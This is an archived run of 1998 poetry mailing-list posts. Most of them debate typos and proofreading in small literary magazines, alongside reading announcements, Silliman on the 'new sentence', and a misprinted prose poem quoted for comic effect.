Alice Notley was born in Bisbee, Arizona, went to Barnard and Iowa (MFA, 1969). She married the writer Ted Berrigan in 1972, with whom she had two sons, one of whom grew up and became for a short period the manager of Small Press Traffic. Now married to the British poet Doug Oliver, she lives in Paris, like Olivia de Havilland. Like her actress counterpart, she radiates strength, inner beauty, quiet dignity and warmth. She's many things to many people, and her books include When I Was Alive, Waltzing Matilda, Doctor Williams' Heiresses, How Spring Comes, a book of Selected Poems, The Descent of Alette and the new Mysteries of Small Houses. No poet of her generation has so captured the heart and imagination of the young writers of today, both for her

dedication to poetry and for her ground-shifting and -breaking mutability, from domestic to epic and back again somewhere else.

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639. **dbkk**

MacCormack & Silliman in SF

Thu 22 Oct 1998

Small Press Traffic presents

Karen MacCormack
Ron Silliman

Friday, October 30, 7:30 p.m.
New College Theater
777 Valencia Street
$5

Karen MacCormack's poetry always seems to arise out of a state of emergency, at the "point of collapse." She would disdain the suggestion of heroism in her writing, but I read it as a heroic effort to bring light into the dark conjunctions of language, effort, and technology. I have long wanted to get another chance to hear Karen MacCormack read in San Francisco; thank you, Stanford University, and Marjorie Perloff, for helping to make this dream come true! MacCormack is the author of six books of poetry, most recently The Tongue Moves Talk (Chax Press/West House Books, 1997), and Marine Snow (ECW Press, 1995). New from Coach House Books is the online version of Fit to Print, MacCormack's collaboration with the English poet Alan Halsey (trade publication from Coach House/West House Books to follow any minute). Her work has appeared in such anthologies as Moving Borders, Out of Everywhere, and The Art of Practice. Of dual Canadian/British citizenship, she lives in Toronto.

Another hero of poetry! Ron Silliman lived in the Bay Area from 1947 until 1995, including 17 years in San Francisco spent variously in the Mission, Bernal Heights, the Haight, Potrero Hill and "Baja Pacific Heights." He's now living in an oak wood twenty miles west of Philadelphia, but he always finds his way back to the Bay Area, just as swallows are said to return to Capistrano and salmon to swim upstream. The University of Alabama Press will publish his poem, The Alphabet, in its entirety if he ever finishes writing it. Silliman is currently a Pew Fellow in the Arts. Quarry West is devoting an issue to his writing sometime in the near future.

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640. **Ron Silliman**
Pinochet & poetry
Thu 22 Oct 1998

Now that Gen. Pinochet is a guest of the state, so to speak, in the UK, this would be an excellent moment to raise the issue of poets and writers killed by his regime. Does anyone on the Poetics List have either a good source thereon? If so, please write to me directly before Saturday.

Thanks much,

Ron Silliman

_____
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641. **schuchat**
Re: coupla q's
Thu 22 Oct 1998

I recall discussing the then recently published FEAR OF FLYING with Alice Notley around 1972-4, when Alice explainedthat Jong was interested in sentences and paragraphs, whereas she was interested in words.

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642. **David Baratier**
Re: errata & small magazines
Thu 22 Oct 1998

Dan-- I have _no_ sympathy for you what so ever. If you have read the magazines you send to, you would know what to expect. Apparently you didn't & rarely ever do, which is accounted for by the number of mistakes that have occurred to your texts as mentioned in your post.

I haven't complained about a text bogie in 5 years. I am familiar with each journal I send to. I can think of no other reasonable explanation for your problem.

Be well

David Baratier

↑ Index

643. **Ron Silliman**
Re: coupla q's
Thu 22 Oct 1998

"1) i know this is elementary and basic and i should already know it, but just why was the *sentence* the primary unit of interest for many of the SF lang-pos?" M. Damon

Perfectly good question. Olson's poetics, based on the equation of line & breath, had been the most rigorous formulation of the previous decade or two, and one could read a wide range of material (from O'Hara to Ginsberg) with such in mind [ignoring, of course, a few very pointed exceptions, such as Spicer and some of Ashbergy]. But there were obvious flaws with this equation, especially with Olson's superimposition of Place on top of the whole, so that the prospect of writing in this tradition began to appear to be a "fill in the blank" completion of an already implicit literary geography (as in "he breaks his lines just like someone from Ukiah"). Each succeeding poem would thus be a less significant formal act.

Sentences and paragraphs were one way out of that. It's worth noting that the "miniaturist" tendency -- Saroyan, the Grenier of _Sentences_ -- turns up first. Sentences and paragraphs also had the advantage of raising some international(ist) issues vis a vis surrealism, European poetry in general, that the excessive jingoism of Olson (or Williams for that matter) never really addresses. Remember: WCW's complaint against Eliot was, in part, that it was "too European." During the 60s, only Duncan and Rothenberg were really advocating for Stein (who was really hard to get hold of in that period) and nobody quite knew what to do with Kora in Hell: Improvisations. Harvey Brown's pirate edition of WCW's Spring & All came out right around 1970 (forcing ND to finally get it back into print for the first time in about 30 years), and that came as a huge shock. So, with Coolidge's first long poems, then Ashbery's Three Poems and Creeley's Mabel and A Day Book, there was just a lot of stuff in the air. It suddenly seemed to be an area in which there was an enormous amount of work that could be done without already being weighed down by too much prior stuff.

Ron

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644. **P.Standard Schaefer**
Re: Pinochet & poetry
Thu 22 Oct 1998

Ron:

I don't happen to know much about the writers who were killed under his regime, but I have just come across the most amazine Chilean poet named Juan Luis Martinez who does a lot of political punning through things looking much like syllogisms. Martinez was bit older than Pinochet as I understand it and also apparently toward the end of his life became a fan of Spicer's. I'm going to try to substantiate my claim about Martinez's greatness with a few translations in the next Rhizome. The translator has been working on Martinez, a slightly younger man Sergio Parra whose politics are overt and style is slightly straight-forwards, a few very young Chilean poets who are fans of both Martinez and Spicer. Kinda weird. Anyway, I will ask the translator today about your question re: Pinochet's murders.

SS

↑ Index

645. **main**
errata & small magazines
Thu 22 Oct 1998

---

i just received the latest issue of _mike & dale's younger poets_ & find that the title of the piece i'd submitted to them was mis-printed

should be "aerial photograph of an elephant graveyard";
is "aerial photograph of an elephant".

over the past five years of contributing writing to smaller magazines, i'd guess that roughly 1/3 of my work has had at least one typographical error (from missing punctuation to misspellings, problems with layout, etc.). has this been anyone else's experience?

i find it deplorable that so many small magazines are misprinting works. where is the careful proof-reading? in order to cut costs and save time, fewer and fewer small magazines send proofs to writers. but the real cost is publishing work as it was _not_ intended to be read. too many small magazine editors seem to have an assembly line/drive-thru mentality regarding the product: just get another issue out, no matter the quality and accuracy, no matter the process, without taking the time to carefully proof the work. what they end up publishing is _not_ what was submitted! once an editor tells me they're using my work, i assume that it will appear (given, of course, the physical constraints of the magazine) as i wrote it. is this too much to ask?

poets are supposed to be attentive to language, but what good is it if the publishers of poetry are inattentive? what's the point of even publishing a text that's full of errors? if small magazine editors want their magazines to be taken seriously as bringing forward the news, then they need to get the facts straight and take more pride in their work: a magazine's reputation is built not only on content but form. editors need to keep in mind that they're the custodians between the writer and the reader-- a role requiring pride and careful work.

it may come to this: poets who care about accuracy more than publication will no longer send work to magazines that do not provide proof or have a reputation for eagle-eye editing. and readers who care to read what was actually written will no longer subscribe to magazines that do a sloppy job of editing. errors are human, and errors in language can be both delightful and insightful, "wanderings" bearing the maker's handprint, the beautiful flaw. but an error in the very title of a poem strikes me as gross carelessness.

in all fairness, there are many small magazine editors who, from my own experiences, take editing as an art form requiring skill and attention not unlike the skill and attention of composing a poem. jeff hansen's _poetic briefs_, juliana spahr and jena osman's _chain_, lee chapman's _first intensity_, and ed foster's _talisman_ come to mind. such accuracy should be the norm, not the exception. all it takes is care-- to care about the language, what you say and how you say it. is that too much to ask?

dan featherston

↑ Index

646. **Michael Magee**
Re: errata & small magazines
Thu 22 Oct 1998

I can appreciate Dan's vitriol here though I think some sympathy for hard-working small mag editors is in order as well. I'd say time is more often the significant factor in fuck-ups. You want to get your issue out, you're excited, you've got a small window to do it, etc, & you miss things. Now, that said, I do think careful editing can and should be done. I spent a hell of a lot of time proof reading the first issue of COMBO and I did it for one simple and polemical reason: to drive home the point that my project was just as goddamn important as what those sonsabitches at *Poetry* are doing. I think I did a good job. In several cases where the typography or font-play was intricate I sent proofs. And so far no complaints (though now I'm waiting to be blindsided by one of my wonderful contributors). I've had, yeah, maybe a third of my poems include small errors ("a" instead of "an," lines broken wrongly, etc), and its a drag. You want

things to look right, to look nice. And if a little extra scrutiny can keep piece in our little experimental Camelot then I say lets keep our eye on the ball. -m.

According to main: >
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> that the title of the piece i'd submitted to them was mis-printed
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> about the language, what you say and how you say it. is that too much to
> ask?
>
> dan featherston
>

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647. **P.Standard Schaefer**

Re: errata & small magazines

Thu 22 Oct 1998

Mike's point is a good one. I, too, have had work published with errors. However, having also edited, I can tell you that the poets are by far the bigger problem. A number of them can't spell and send you eighteen drafts asking you to change things all the way through the process, sometimes doable, sometimes quite difficult. (Right now Jaques Debrot is thinking that I am speaking about him, but I am not. Suffice it to say they are actually local-- L. A writers who call you up at all hours to tell you that they because they think they're doing something typographically innovative, that you should adjust your magazine parameters). Some want to know why you list their work as "Three poems" on the contents page, and not the full title. The answer is becausee the full title would take up four lines, include six paratheses, a footnote or two, and is usually not as interesting as the poem. I sort of wish that people of the 'experimental' bent would think a third or fourth time about why they insist on having twelve picas of blank space between every third adverb. With very few exceptions, like Ray DiPalma, who takes his typography very seriously, I doubt if there is much being accomplished except being "individuals". By the way, if you do some fancy typographical work, take Ray's lead and be willing to send the work already layed-out in Quark Express or Pagemaker on disc.

The best intro to typography that I've come across is Robert Bringhurst's The Elements of Typographical Style. For one thing, he's a poet. For another, he gives a solid history on the various fonts, reasons why one shouldn't double-

space after every period, and a number of other details that have made my understanding of work like DiPalma's a great bit richer.

Another little stunt poets do from time to time is send you prose where they use "weather" instead of "whether" and then insist it be spelled wrong as if this makes their book review derridean. Sometimes, knowing that it looks stupid, you agree to it and then find out that in the last paragraph third line down it should be spelled "whether."

Um sorry, I'm laying out Rhizome this week and various little things like this come up so I'm slightly keyed up at the moment.

↑ Index

648. henry gould
typos
Thu 22 Oct 1998

I've had less trouble with poets, & probably made more editing mistakes [sorry, Joe] than Standard, so I side more with Dan Featherston on this one. The basic problim as I see it [he heh] is burnout, and the only solution is more than one proofreader - somebody other than the editor(s). This may soubd nobvious but it's amazing what you don't see after reading a pile of ms. over & aver. & I've been a profishional proofloafer, too.

Dan is right - we shd all srnd out proofs to the eithors. I'm going to try to do that from now on. [not to give anyboy the idea that Nedge is full of errors - oh no!].

Wearing the author hat I think typos in poetry are beyond the pail, terrabul. & they happen frequently (in my case anyway). I can tell you an even worserr story, however - a magazine that held a poem after accepting it for close to 2 years (publication delay), & then decided not to publish it - without ever informing me. This is ridiculous. Fortunately under the Sillimen New Sentencing Program they are doing 20-to-life in Verbal Max outside Fingercount, MC [Monte Cristo, Brazil] - a rela helahoel.

- Henry "Eagleaye" Gould

↑ Index

649. Christopher Reiner
Re: errata & small magazines
Thu 22 Oct 1998

I'm very sympathetic to Dan's post. But I have to say that no small press publisher that I know of has ever deliberately let a typo get through. And what's

more, it's terribly embarassing when one does get through. Every editor I know spends a lot of time proofing, and yet it's almost inevitable that one or two typos will end up in the mag (often in the goddam *title* or the contents page, or where you put something in boldface and in really big letters). In editing Witz, I have made almost every horrible typo you can imagine. And I'm really sorry for every one of them. I'm even more sorry that there will be more, as hard as I try to avoid them. (And I send out proofs to authors...still, some typos remain.) We're talking about one or two-person enterprises. We're talking about more work than you thought when you started (a lot more). It's a labor of love, and typos are part of it. Like that annoying habit that someone you love has...like snoring.

mea culpa.

(oh, and you can find the Witz archives, flaws and all, at http://writing.upenn.edu/epc/ezines/witz --unless there's a typo in that URL)

On Thu, 22 Oct 1998, main wrote:

> *i just received the latest issue of _mike & dale's younger poets_ & find that the title of the piece i'd submitted to them was mis-printed*
>
> *should be "aerial photograph of an elephant graveyard"; is "aerial photograph of an elephant".*
>
> *over the past five years of contributing writing to smaller magazines, i'd guess that roughly 1/3 of my work has had at least one typographical error (from missing punctuation to misspellings, problems with layout, etc.). has this been anyone else's experience?*
>
> *i find it deplorable that so many small magazines are misprinting works. where is the careful proof-reading? in order to cut costs and save time, fewer and fewer small magazines send proofs to writers. but the real cost is publishing work as it was _not_ intended to be read. too many small magazine editors seem to have an assembly line/drive-thru mentality regarding the product: just get another issue out, no matter the quality and accuracy, no matter the process, without taking the time to carefully proof the work. what they end up publishing is _not_ what was submitted! once an editor tells me they're using my work, i assume that it will appear (given, of course, the physical constraints of the magazine) as i wrote it. is this too much to ask?*
>
> *poets are supposed to be attentive to language, but what good is it if the publishers of poetry are inattentive? what's the point of even publishing a text that's full of errors? if small magazine editors want their magazines to be taken seriously as bringing forward the news, then they need to get the facts straight and take more pride in their work: a magazine's reputation is built not only on content but form. editors need*

> *to keep in mind that they're the custodians between the writer and the reader-- a role requiring pride and careful work.*
>
> *it may come to this: poets who care about accuracy more than publication will no longer send work to magazines that do not provide proof or have a reputation for eagle-eye editing. and readers who care to read what was actually written will no longer subscribe to magazines that do a sloppy job of editing. errors are human, and errors in language can be both delightful and insightful, "wanderings" bearing the maker's handprint, the beautiful flaw. but an error in the very title of a poem strikes me as gross carelessness.*
>
> *in all fairness, there are many small magazine editors who, from my own experiences, take editing as an art form requiring skill and attention not unlike the skill and attention of composing a poem. jeff hansen's _poetic briefs_, juliana spahr and jena osman's _chain_, lee chapman's _first intensity_, and ed foster's _talisman_ come to mind. such accuracy should be the norm, not the exception. all it takes is care-- to care about the language, what you say and how you say it. is that too much to ask?*
>
> *dan featherston*

↑ Index

650. **Aldon Nielsen**
Re: there's a question at the end of this
Thu 22 Oct 1998

in fact, wouldn't the statement that there is a tendency to racism that's "in the blood" be a racist statement? unless one argues that all humanity has racism "always already" in the blood, which makes even less sense given the demonstrable historical variability of the concept of race --

↑ Index

651. **Mark Weiss**
Re: typos
Thu 22 Oct 1998

> *Wearing the author hat I think typos in poetry are beyond the pail, terrabul. & they happen frequently (in my case anyway). I can tell you an even worserr story, however - a magazine that held a poem after accepting it for close to 2 years (publication delay), & then decided not to publish it - without ever informing me.*

The technical term for typos beyond the pail would be "spillage?"

An editor who has since gained some notoriety but will nonetheless remain nameless once asked me to review a book of poems. I thought the book a crime against humanity and said so, perhaps a bit more diplomatically. Turned out the poet was a friend of said editor, who accordingly refused to publish the review.

↑ Index

652. **Aldon Nielsen**
Carrying Cole to Colorado
Thu 22 Oct 1998

---

eleven years ago, David Bromige was visiting in DC and the two of us took a stroll through the galleries of the East Wing -- came alongside a massive collage piece, "El Copperhead Grande" (Rauschenberg or Johns?) -- David caught sight of a small portion of newsprint down in one corner of the piece, in Spanish -- wondered out loud what it might be -- leaning over with my elementary Spanish and my eyes still young enough not to require specs -- I found that it was a newspaper report of the winning lottery number in Chile for October 22 --

am remembering this with great fondness this day when Pinochet's number, we would like to think, may be, finally, up

↑ Index

653. **Aldon Nielsen**
the neo-new sentence
Thu 22 Oct 1998

---

and not long before Ron's book, I recall sitting in the Folger library's Globe theater mock-up for a poetry conference, at which Stanley Plumly, at considerable length, advanced his theory that contemporary poets were moving away from the image and towards organization of the poem around the sentence -- Heard very little of this in THOSE circles in intervening years,,, perhaps because they learned from Ron that that were right?

bless us all, every one

↑ Index

654. **L. MacMahon and T.R. Healy**
Re: errata & small magazines
Thu 22 Oct 1998

A friend of mine had written an Irish language textbook for teenagers and to be sure to be sure got a native speaker to set it. Unfortunately she wasn't a native speller and the title ended up with one of the more toothgrinding grammatical errors (nom. instead of gen. after a double prep.). He had to endure the comfort

of all sorts of friends who rang him up to assure him that he hadn't dropped in their estimation despite his mistake.

In another textbook he had a chapter on names and included a kind of grid with Murphy = O'Murchu etc. Then there was an exercise with photos of "well-known" "personalities" like Mike Murphy and so on and the poor student had to write the jaspers' names in Irish. The publishers thought that the photos were a bit tame and replaced them with ones of Severiano Ballesteros, Claude Van Damme and a host of international celebrities who had not featured in any way in the preparatory grid.

and Henry, I think I've permanently damaged something due to a fit of giggling precipitated by your last post.

cheers

Randolph Healy

↑ Index

655. **groberts**
Another Herbsttag
Thu 22 Oct 1998

I don't remember this one mentioned last month, but for those collecting versions of Rilke's poem, here is Ron Padgett's adaption, which I just came across in Great Balls of Fire:

"Autumn's Day"

Rilke walks toward a dime. I saw.
It was very great. But now
His shadow is fast upon the sundials.
How then can the winds remind
The shadows it is late?

'Who has no home cannot build now,'
Said Rilke to a grasshopper.

Little grasshopper,
You must waken, read, write long letters, and
Wander restlessly when leaves are blown.

↑ Index

656. Laura E. Wright
hypo type
Thu 22 Oct 1998

Todd Baron /*/ ReMap wrote:
>
> as an editor:
>
> We all apologize--I'm sure--but given the scope
> of the task--it's amazing we do this good a job!
>

Not only that, it's amazing you (plural) continue to do it at all. I'm grateful to all those who, with whatever resources they have (and, notably, don't have), do this work.

Of course, there's the solution offered by some truly small mags: simply photo-copy the poem _as sent_ and print it.

Re. the original errata post:

it seems better to lose the graveyard
than to lose the elephant

--
Laura Wright, Library Assistant
Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]

* * * * * *

"Then there was a situation with tufts (and flowers). This did not
agree
with me either, and time just kept on passing."
(Henri Michaux)

↑ Index

657. Charles Alexander
Re: Typos abound, especially on Fridays
Thu 22 Oct 1998

---

or maybe

the crackerjack jewel for these umbrella'd polemics

At 02:47 PM 10/23/98 -0700, you wrote:
>When I was attending, we heard rumors from C.U. that it had been renamed
>the "Jack Kerouac School of DISEMBOWELED Poetics"...

> *--trace--*
>
> *On Friday/23.October.1998 1.42.31pm, Lisa Trank wrote:*
>
> *Ah well, we renamed our school, combining diesel and disembodied into one word.*
> *The official title is, as you all know:*
>
> *Jack Kerouac School of DISEMBODIED Poetics.*
>
> *Now that we have made the typos on this list, we will not have to make them in the magazine.*
>
> *Ta Ta -*

↑ Index

658. Lawrence Upton.
WF publications
Thu 22 Oct 1998

APOLOGIES FOR CROSS POSTING On behalf of Writers Forum announcing the publication of "WORD SCORE UTTERANCE CHOREOGRAPHY in verbal and visual poetry" edited by Bob Cobbing and Lawrence Upton with a preface by Cobbing and introductions by Upton and Robert Sheppard; 156pp; ISBN 0 86162 750 4; £6.50 plus postage - no time to weigh it yet

Also the latest 8 pamphlets in the Domestic Ambient Noise seriesm - p & p is for UK

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Upton, Lawrence & Cobbing, Bob; They died of an overdose of time; ISBN 0 86162 835 7; Writers Forum, October 1998; £1.00 plus 50p p & p Upton, Lawrence & Cobbing, Bob; Dance; ISBN 0 86162 841 1; Writers Forum, October 1998; £1.00 plus 50p p & p Upton, Lawrence & Cobbing, Bob; Compose yourself; ISBN 0 86162 839 X; Writers Forum, October 1998; £1.00 plus 50p p & p

Direct orders to New River Project, 89a Petherton Road, London N5 2QT Sterling payments only

---------- Lawrence Upton's website: http://members.spree.com/sip/lizard/

↑ Index

659. **A. Jenn Sondheim**
GAAA GAAA GAAA (stupid thing)
Thu 22 Oct 1998

-

GAAA GAAA GAAA

Perhaps the hiatus or another name to be assigned the gap common in Ch'an /Zen writing, Heian aesthetics, Chuang Tzu - not that difference shouldn't be recognized, but that this gap, demonstrated by the wheels which never touch the ground (a geometric pleasure and leap), is a space elsewhere than the rationalized grid of analytic geometry. Where does the Web in a hyperlink? The address spaced one against another, contiguous, with in-between browser windows turned grey or holding patterns or slow revel- ations, but never a leap as such, the ah-ha syndrome or break from one to another. Never that moment of the eye.

GAAA GAAA GAAA

Or perhaps so, representations say of waka or koan or the liminality of renga: but these leaps which are beyond or elsewhere than comp.sci, even with fractal or chaotic mappings. Never that moment where I announce my death.

GAAA GAAA GAAA

What I'm getting at, I can never reach, those moments which are beyond the Net or extraneous or forgotten, outside the compass and encompassing. Or moments where rationality hangs just above the protocols, like fog cur- tains over violent wilderness, peaks and crags. Never any moment of the breath or orgasm or awakening. Never any moment of fully-awake. Moments of peering and dissecting.

GAAA GAAA GAAA

It's there on the tip of my tongue, the difference between the relative control and audience dispersion/accommodation present on the Net, and certain leaps in which the space and immateriality of the world are suddenly manifest in a bewildering manner!

GAAA GAAA GAAA

This tip, just beyond the tongue, is what lures me towards further text, coupled with the certain knowledge that every line dissolves into perfect sound. And then nothing. But I am still torn in two, one half remaining in utter silence, that occasion of an aesthetic which takes time in the midst of vertical or flat places, serrated or flooded plains, everything on the edge of the cup.

GAAA GAAA GAAA

In the meantime, there is this, the internals of the sphere, a privacy that is beyond encountering.

GAAA GAAA GAAA

One might consider the necessity of the Net, which does not exist here - nor its absence, whether it exists or not. The needs of the non-existent Net. Nor is it important if or if not the soul is or is not illusion. And this is of course, holding the course, not Ch'an, not Zen; it is only indicative of the quiet internals that form a legacy of survival. The moment of holding the course, moment of coarseness.

GAAA GAAA GAAA

The browser window stutters or there may be a message below, or an error message bringing the world to a halt; or a grey rectangle tending towards black, featureless, just for a moment. There may be the declaration of an image, or a coming-into-the-world once again, of a derailing-memory forced into uneasy fulfillment. It may say, JUST LIKE THE WORLD, STILL LOADING. It may say, JUST LIKE THE WORLD, CONGESTION ON-LINE. It may say, JUST LIKE THE WORLD, TRY AGAIN LATER. It may say, JUST LIKE THE WORLD, GAAA GAAA GAAA.

GAAA GAAA GAAA

I reread this, Nikuko says, and "there's no gap. It's bleak orientalism, there's nothing present but haiku factories, turned out peripherals. It's boy-toy stuff. You want an escape, you want that distance, that moment where an interior remains closed as such, where ratiocination has no place on earth. Literally. You're afraid of such. You still can't look yourself in the mirror but you're willing to be naked any time someone holds their breath! Your self-hatred fogs the mirror, breaks the jewel, places the sword in one hole, and out the other!! The

tip gleams between your teeth. People are always injured in the flooded reality of things!!!"

GAAA GAAA GAAA

Oh challenge me, fair Jennifer, says Nikuko, as Jennifer approaches, her garments rent, her hair streaming in the storm which has kicked up. Every- thing dead flies by at furious pace. Jennifer-normal-Jennifer, riding Julu, dark Julu, her gaping maw open to a terrifying degree. Lightning illuminates the littered land; juniper and canyon pines bend bleak and ancient branches black against the whimpered moon. Stars make dim streaks as they fall down the tormented sky, smothered by thick cloud. There are roars everywhere, resonances from tombs and caves, caverns and dells, more resonances when mouths open, cackled song. WHOSE MOUTH IS OPEN TO A TERR- IFYING DEGREE? WHOSE MAW GAPES AGAINST THE BRITTLE LIGHTNING?

GAAA GAAA GAAA

Power lines are downed, new lines redrawn on face and rim of violent rock, sparks sputter in skeins of lugubrious energy struggling for a sign. Oh challenge me, Nikuko screams; there aren't signs any more, the ground's littered with strokes going nowhere, lightnings sintering flesh and bone, the dead and the dune-dead. I twist and turn on the sword. I can't scream.

GAAA GAAA GAAA
GAAA GAAA GAAA

GAAA GAAA GAAA
GAAA GAAA GAAA

↑ Index

660. Todd Baron /*/ ReMap

typo hype

Thu 22 Oct 1998

---

as an editor:

it is a sad thing to make a mistake iin printing someone's work youu (oops) value! But I agree with Standard: we are often poorly expected to fix mistakes writers make--and we are poor and overworked so much that the mere task is monumental of publishing a magazine. magazines often have no time for galleys/etc. We all apologize--I'm sure--but given the scope of the task--it's amazing we do this good a job!

Todd Baron
(ReMap)

ps: books, on the other hand, are another issue.

↑ Index

661. Thomas Bell
Re: coupla q's/sentence
Thu 22 Oct 1998

Since I came across the idea (I think) in Marjorie Perloff's _Poetry on and off the page, I have been seeing "page poetry" everywhere, off (_vide the new _Big Allis) as well as on the web. Is there a history to this and has anyone written on it?

tom bell

<><><>

simply...publication] other less pointed (and often moronic) authors were receiving. And I do all I can to provide it. Kenning -- where quality is job 1!
Patrick F. Durgin

|
|
k e n n i n g``````````````|``````````````````````````
a newsletter of contemporary |poetry, poetics, and non-fiction writing
|418 Brown St. #10 Iowa City, IA 52245 USA

↑ Index

663. **ken|n|ing**

Re: errata & small magazines

Thu 22 Oct 1998

Unless, David, Dan hadn't had the luxury of comparing the evidently perfect magazines against the original submissions. I think the problem is rather one of trust and / or cooperation. This as opposed to the competitive spirit I myself have sometimes found . . . and find deplorable. Patrick F. Durgin

|
|
k e n n i n g``````````````|``````````````````````````
a newsletter of contemporary |poetry, poetics, and non-fiction writing
|418 Brown St. #10 Iowa City, IA 52245 USA

On Thu, 22 Oct 1998, David Baratier wrote:

> *Dan-- I have _no_ sympathy for you what so ever. If you have read the magazines you send to, you would know what to expect. Apparently you didn't & rarely ever do, which is accounted for by the number of mistakes that have occurred to your texts as mentioned in your post.*
>
> *I haven't complained about a text bogie in 5 years. I am familiar with each journal I send to. I can think of no other reasonable explanation for your problem.*
>
> *Be well*
>
> *David Baratier*

↑ Index

664. Todd Baron /*/ ReMap
Re: hypo type
Fri 23 Oct 1998

Laura E. Wright wrote:
>
> Todd Baron /*/ ReMap wrote:
> >
> > as an editor:
> >
> > We all apologize--I'm sure--but given the scope
> > of the task--it's amazing we do this good a job!
> >
>
> Not only that, it's amazing you (plural) continue to do it at all.
> I'm grateful to all those who, with whatever resources they have (and,
> notably, don't have), do this work.
>
> Of course, there's the solution offered by some truly small mags:
> simply photocopy the poem _as sent_ and print it.
>
> Re. the original errata post:
>
> it seems better to lose the graveyard
> than to lose the elephant
>
> --
> Laura Wright, Library Assistant
> Allen Ginsberg Library, The Naropa Institute

WONDERFUL idea--tho
the beauty of originals
is sometimes--er--
not so beatific!

↑ Index

665. Ralph Wessman
Re: errata & small magazines
Fri 23 Oct 1998

Hey Dan, it's a pisser. Just cross those who mangle your work from your list.

Ralph Wessman

↑ Index

666. Leonard Brink
Re: errata & small magazines
Fri 23 Oct 1998

Dan, I hope I didn't screw up the poem of yours I published recently. My method is to read the author's hard copy carefully looking for possible errors on their part, then to scan the writer's hard copy into a computer, run it through a spell checker, and then re-read it, comparing it to the original. Still, a comma will turn into a period, a space between words will turn into two spaces, etc.

1. Far and away the vast majority of errors are made by the poet, not the editor, and 2. Poets tend to expect the editor to take more care with the text than they themselves have taken. 3. Poets often design their poems for letter-size paper and then expect the same effects to occur on the almost invariably smaller pages of magazines. 4. Poems whose strength derives from, or are overly reliant on things like font and type size should be self-published if at all. 5. Poets who are highly innovative/transgressive in terms of punctuation and spelling shouldn't expect publishers to be editors.

Penultimately, (and this is the really big one), editors die a thousand deaths when they make a mistake, even if that mistake is not catching a poet's error.

Finally, a lot of the mistakes that are made are an unfortunate by-product of the enthusiasm on the part of small press operators without which most poems would never see the light of day at all. One can always insist on reviewing the proofs of ones Collected Works if and when it comes to that.

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667. Mark Weiss
Re: Re : errata & small magazines
Fri 23 Oct 1998

David: Isn't there a built-in caveat to any magazine that calls itself "Which Shall Remain Nameless?"

At 01:05 AM 10/23/98 -0700, you wrote:
> I'm not one to parade his grievances in public, but when it comes
>to typos and a small magazine which shall remain nameless, I think I have
>just cause for complaint. The prose poem that I sent them, an exercise in
>the new sentence, was called, when it left my hands, "Parity." Behold :
>
>PARTY
>

>Then things get even more interesting. Dully wiped surferly out. Appauled
>for his agrments. Padded on the rare end. Dual to the dearth in a barroom
>baral. Her servered from loanliness. He frequented his exployees. Put to
>work studing & being trained in prober manhours. Appeaching her forensidly,
>he laughed hurtidly, then guggled with derise. 'Not too embressing,' he
>drewled. He was gait alight. Socity was noting but hairs and founies. He
>intered this realm quitely, with diplomia. Vocationing in Vegas, washing
>excoctic densers. Except this avarice.
>
>It gets bitter. They grimmed as they pasted him on the seet. Rubbage. A
>fast residing airline. The sweet of his own bow. 'I shall see what can't be
>done.' Almost past marring, her truesew. Ampisously he stroked upawed. He
>was an archticist. None for his monitory reckonsense, his colonary skulls,
>his facal features, his prosuadive ways, parsels of speach. Dewrelic.
>Clutting. Spenting. Distoy. Dealth. His honorible dearth & dishonorrible
>intensions. 'Put me out of my missuary.' He immulated her, his sparing
>panter. Frusted, criped, endemptent. Tried a torch of vingar, waited as a
>roamer circulated. Femine. Marvellouse. Stuft. Perfact. Anbily sated? He
>sujjected another why out. Forst thought bets thought, anglozied. Cought
>speacking. Quit so.
>
>
>
>I guess they had Trimar in a jar at that editorial office. Well I won't be
>submitting to them again. David
>
>

↑ Index

668. **david bromige**

Re : errata & small magazines

Fri 23 Oct 1998

I'm not one to parade his grievances in public, but when it comes to typos and a small magazine which shall remain nameless, I think I have just cause for complaint. The prose poem that I sent them, an exercise in the new sentence, was called, when it left my hands, "Parity." Behold :

PARTY

Then things get even more interesting. Dully wiped surferly out. Appauled for his agrments. Padded on the rare end. Dual to the dearth in a barroom baral. Her servered from loanliness. He frequented his exployees. Put to work studing

& being trained in prober manhours. Appeaching her forensidly, he laughed hurtidly, then guggled with derise. 'Not too embressing,' he drewled. He was gait alight. Socity was noting but hairs and founies. He intered this realm quitely, with diplomia. Vocationing in Vegas, washing excoctic densers. Except this avarice.

It gets bitter. They grimmed as they pasted him on the seet. Rubbage. A fast residing airline. The sweet of his own bow. 'I shall see what can't be done.' Almost past marring, her truesew. Ampisously he stroked upawed. He was an archticist. None for his monitory reckonsense, his colonary skulls, his facal features, his prosuadive ways, parsels of speach. Dewrelic. Clutting. Spenting. Distoy. Dealth. His honorible dearth & dishonorrible intensions. 'Put me out of my missuary.' He immulated her, his sparing panter. Frusted, criped, endemptent. Tried a torch of vingar, waited as a roamer circulated. Femine. Marvellouse. Stuft. Perfact. Anbily sated? He sujjected another why out. Forst thought bets thought, anglozied. Cought speacking. Quit so.

I guess they had Trimar in a jar at that editorial office. Well I won't be submitting to them again. David

↑ Index

669. **henry gould**
errrrrr... ata?
Fri 23 Oct 1998

I have no sympathy for editors who have no sympathy for poets who have no sympathy for editors who have no sympathy for poets who have no sympathy. But's it's not that simple. It's simply not that simple simply to have sympathy for simple mistakes, especially since simple-minded editors simply show no sense of responsibility for the errati of their literati or their own literary errand. The end.

- Eric Blarnes, the Superbly & Completely Self-Published Poet and
Professor Emeritus, Linguini Studies, Left Overbie University
or right to:
Eric Blarnes
ChelmedI'mSureford
Stout-on-Oven
Swillby
Haunts.
England

↑ Index

670. Robert Archambeau
Samizdat
Fri 23 Oct 1998

Thanks to David for mentioning the magazine.

Issue #1 contents are:

Michael Barrett's sequence "Babylons" (first of two installments)
Adam Zagajewski (2 poems)
Piotr Parlej's essay "Zagajewski Between Romanticism and the Avant-Garde"
Stephanie Strickland (2 poems)
Ken Smit (poem)
Goran Printz-Pahlson and Jesper Svenbro (poems translated from Swedish)
David Kellogg's poem "Cartesian Procedure"
Reginald Gibbons (prose poem)
John Peck (poem)
Ilya Kutik (poem translated from Russian)
Kymberly Taylor (poem/music collage)
Review of C.S. Giscome
Review of Rosmarie Waldrop and Reginald Gibbons

Issue #2 will have more Barrett, Michael Anania, Katherine Kaspar, reviews of Stephanie Strickland and Janet Holmes and Irish alternative poetry, & more...

Three issue subscriptions to the broadsheet-format magazine are ten dollars.

Free copies of issue #1 are available by request (get em while they last!)

Bob

Robert Archambeau
Lake Forest College/Lund University (Sweden)

↑ Index

671. Robert Archambeau
